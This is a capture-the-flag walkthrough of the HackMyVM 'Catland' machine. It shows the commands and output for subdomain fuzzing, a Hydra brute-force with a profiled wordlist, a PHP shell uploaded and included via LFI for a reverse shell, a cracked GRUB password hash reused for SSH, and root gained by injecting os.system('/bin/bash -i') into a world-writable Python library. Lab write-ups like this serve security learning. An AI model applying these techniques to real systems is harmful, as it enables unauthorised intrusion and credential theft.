HackMyVM has added a new medium-difficulty machine “Catland” by cromiphi. This machine features subdomain enumeration, local file inclusion, insecure file permissions and sudo abuse. However, for the domain name, you need to take the help of the VM box. “Catland walkthrough from HackMyVM – Writeup”
Click here to go to the download page of Catland
Target scan
Firstly, we need to identify the IP address of the target machine.
❯ fping -aqg 10.0.0.0/24
10.0.0.1
10.0.0.2
10.0.0.3
10.0.0.4
10.0.0.186
The IP address of the machine is 10.0.0.186.
However, we can look into the machine’s login screen for the domain name and the IP address.
We got the domain name to be catland.hmv
.
Nmap scan
The following stuff is to scan the target for any open ports.
❯ nmap -sC -sV -p- -oN nmap.log 10.0.0.186
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-12 13:14 +0545
Nmap scan report for 10.0.0.186
Host is up (0.0026s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 c71014a89af0251e0db1c66f1ca188d8 (RSA)
| 256 1b66f4e5b6236e778e9ec178c5bcace9 (ECDSA)
|_ 256 f4e9d87a0815d0929014dfb3ec81a1ed (ED25519)
80/tcp open http Apache httpd 2.4.54 ((Debian))
|_http-title: Catland
|_http-server-header: Apache/2.4.54 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Here, we only have an HTTP port to investigate.
HTTP Server
On the main server, we have some text and a link to go to a gallery of cats’ images. Furthermore, we also see a possible username laura in one of the images. Other than this, there is no hint. Afterwards, I performed directory scanning and query parameters fuzzing to find any remote command execution or file inclusion. However, I got nothing.
Thus, I performed subdomain enumeration.
❯ ffuf -r -c -ic -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H 'Host: FUZZ.catland.hmv' -u 'http://10.0.0.186' -fs 757
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://10.0.0.186
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : Host: FUZZ.catland.hmv
:: Follow redirects : true
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 757
________________________________________________
admin [Status: 200, Size: 1068, Words: 103, Lines: 24, Duration: 1174ms]
Here, we have a subdomain admin.catland.hmv
and I added it on my /etc/hosts
file.
Prevent redirection
When we open the admin site, we are redirected to the main site. This is because of a javascript script redirect.js
. So, we have to block the request to the javascript file from the developer tool of the browser. Also, to make this work the tool must be open all the time.
The following is the content of the site from curl.
❯ curl -i http://admin.catland.hmv/
HTTP/1.1 200 OK
Date: Fri, 13 Jan 2023 16:13:09 GMT
Server: Apache/2.4.54 (Debian)
Set-Cookie: PHPSESSID=rqkeoghc9jgis99tf0nasu74vt; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 1068
Content-Type: text/html; charset=UTF-8
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Admin panel</title>
</head>
<script src="redirect.js"></script>
<script>
redirectToSubdomain();
</script>
<body style="background-color: #003366; color: white; font-family: sans-serif;">
<h1 style="text-align: center;">Staff connection</h1>
<form id="login-form" action="" method="post" style="max-width: 500px; margin: auto;">
<label for="username" style="display: block;">Login:</label>
<input type="text" id="username" name="username" style="width: 100%; padding: 10px; box-sizing: border-box; margin-bottom: 20px;">
<label for="password" style="display: block;">Password:</label>
<input type="password" id="password" name="password" style="width: 100%; padding: 10px; box-sizing: border-box; margin-bottom: 20px;">
<button type="submit" style="width: 100%; padding: 10px; background-color: #0099cc; color: white; font-size: 16px; cursor: pointer;">Connect</button>
</form>
<div id="error-message" style="color: red;"></div>
</body>
</html>
Invalid username or password
The function redirectToSubdomain();
looks as follows.
❯ curl http://admin.catland.hmv/redirect.js
function redirectToSubdomain() {
window.location.replace('http://catland.hmv');
}
The following screenshot shows the way to perform request blocking in Firefox.
Now, when we open the admin link, it blocks the javascript resource. Thus, the function never gets defined and calling the function doesn’t work either.
Login to the site
Anyways, we see a login screen on the site. Also, we have got the username as laura
. Therefore, I tried bruteforcing using hydra, yet failed with rockyou.txt
.
So, I created a wordlist using a binary called cupp
.
❯ cupp -i
___________
cupp.py! # Common
\ # User
\ ,__, # Passwords
\ (oo)____ # Profiler
(__) )\
||--|| * [ Muris Kurgas | [email protected] ]
[ Mebus | https://github.com/Mebus/]
[+] Insert the information about the victim to make a dictionary
[+] If you don't know all the info, just hit enter when asked! ;)
> First Name: laura
> Surname:
> Nickname:
> Birthdate (DDMMYYYY):
> Partners) name:
> Partners) nickname:
> Partners) birthdate (DDMMYYYY):
> Child's name:
> Child's nickname:
> Child's birthdate (DDMMYYYY):
> Pet's name:
> Company name:
> Do you want to add some key words about the victim? Y/[N]:
> Do you want to add special chars at the end of words? Y/[N]:
> Do you want to add some random numbers at the end of words? Y/[N]:
> Leet mode? (i.e. leet = 1337) Y/[N]:
[+] Now making a dictionary...
[+] Sorting list and removing duplicates...
[+] Saving dictionary to laura.txt, counting 108 words.
[+] Now load your pistolero with laura.txt and shoot! Good luck!
At last, I was able to find the password.
❯ hydra -l laura -P laura.txt 'http-post-form://admin.catland.hmv/index.php:username=^USER^&password=^PASS^:Invalid'
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-01-13 22:04:37
[DATA] max 16 tasks per 1 server, overall 16 tasks, 108 login tries (l:1/p:108), ~7 tries per task
[DATA] attacking http-post-form://admin.catland.hmv:80/index.php:username=^USER^&password=^PASS^:Invalid
[80][http-post-form] host: admin.catland.hmv login: laura password: <redacted>
1 of 1 target successfully completed, 1 valid password found
The dashboard showed a possibility of a local file inclusion (LFI).
Let’s confirm this by including /etc/passwd
.
Exploit file inclusion with file upload
We see an upload feature in the “Accountancy” link in the navigation bar. Here, it asked us to upload an archive. To confirm the extension, we can either look into the source code or try a random extension. So, I copied my shell.php
to shell.zip
. After uploading the file, we can access this from /uploads
.
/user.php?page=./uploads/shell.zip
This gives us a reverse shell.
❯ nc -nlvp 9001
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.0.0.186.
Ncat: Connection from 10.0.0.186:59660.
Linux catland.hmv 5.10.0-20-amd64 #1 SMP Debian 5.10.158-2 (2022-12-13) x86_64 GNU/Linux
17:28:24 up 9:16, 1 user, load average: 0.00, 0.03, 0.05
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
laura pts/1 10.0.0.4 16:34 34:54 1:13 1:12 ./pspy64
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
Click here to see the way to upgrade to an intelligent shell.
Get the Linux user’s password
After checking some files, I got MySQL credentials from /var/www/admin/config.php
. There is a table in the database that hints to us to get to the grub
password.
www-data@catland:/$ mysql -uadmin -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 2405953
Server version: 10.5.18-MariaDB-0+deb11u1 Debian 11
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| catland |
| information_schema |
+--------------------+
2 rows in set (0.002 sec)
MariaDB [(none)]> use catland
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [catland]> show tables;
+-------------------+
| Tables_in_catland |
+-------------------+
| comment |
| users |
+-------------------+
2 rows in set (0.000 sec)
MariaDB [catland]> select * from comment;
+----------------------+
| grub |
+----------------------+
| change grub password |
+----------------------+
1 row in set (0.000 sec)
The grub password is inside /boot/grub/grub.cfg
.
www-data@catland:/$ grep password /boot/grub/grub.cfg
### BEGIN /etc/grub.d/01_password ###
password_pbkdf2 root grub.pbkdf2.sha512.10000.CAEBC99F7ABA2AC4E57F<redacted>
### END /etc/grub.d/01_password ###
Luckily, both John the Ripper
and Hashcat
support this hash.
❯ john hash --wordlist=/home/kali/rockyou.txt
Warning: detected hash type "PBKDF2-HMAC-SHA512", but the string is also recognized as "HMAC-SHA256"
Use the "--format=HMAC-SHA256" option to force loading these as that type instead
Warning: detected hash type "PBKDF2-HMAC-SHA512", but the string is also recognized as "HMAC-SHA512"
Use the "--format=HMAC-SHA512" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (PBKDF2-HMAC-SHA512, GRUB2 / OS X 10.8+ [PBKDF2-SHA512 256/256 AVX2 4x])
No password hashes left to crack (see FAQ)
❯ john hash --show
?:<redacted>
1 password hash cracked, 0 left
We can use this password to ssh
into the machine.
❯ ssh [email protected]
[email protected]'s password:
Linux catland.hmv 5.10.0-20-amd64 #1 SMP Debian 5.10.158-2 (2022-12-13) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Jan 13 16:55:26 2023 from 10.0.0.4
laura@catland:~$
Root shell
There is a sudo permission on the user.
laura@catland:~$ sudo -l
Matching Defaults entries for laura on catland:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User laura may run the following commands on catland:
(ALL : ALL) NOPASSWD: /usr/bin/rtv --help
The binary rtv is in fact a python script with the following lines of code.
laura@catland:~$ cat /usr/bin/rtv
#!/usr/bin/python3
# EASY-INSTALL-ENTRY-SCRIPT: 'rtv==1.27.0','console_scripts','rtv'
import re
import sys
# for compatibility with easy_install; see #2198
__requires__ = 'rtv==1.27.0'
try:
from importlib.metadata import distribution
except ImportError:
try:
from importlib_metadata import distribution
except ImportError:
from pkg_resources import load_entry_point
def importlib_load_entry_point(spec, group, name):
dist_name, _, _ = spec.partition('==')
matches = (
entry_point
for entry_point in distribution(dist_name).entry_points
if entry_point.group == group and entry_point.name == name
)
return next(matches).load()
globals().setdefault('load_entry_point', importlib_load_entry_point)
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0])
sys.exit(load_entry_point('rtv==1.27.0', 'console_scripts', 'rtv')())
It imports from a file importlib/metadata.py
. Furthermore, it has permission to write.
laura@catland:~$ ls -l /lib/python3.9/importlib/metadata.py
-rw-r--rw- 1 root root 18237 Jan 13 17:06 /lib/python3.9/importlib/metadata.py
Let’s add the following lines of code to spawn the bash.
os.system('/bin/bash -i')
This gives us the root shell.
laura@catland:~$ sudo rtv --help
root@catland:/home/laura# cd
root@catland:~# echo nepcodex.com; md5sum /etc/shadow
nepcodex.com
df9695b17f4b2ee816f5439ef030a8ae /etc/shadow
root@catland:~#
The notes for this machine can be found in this link.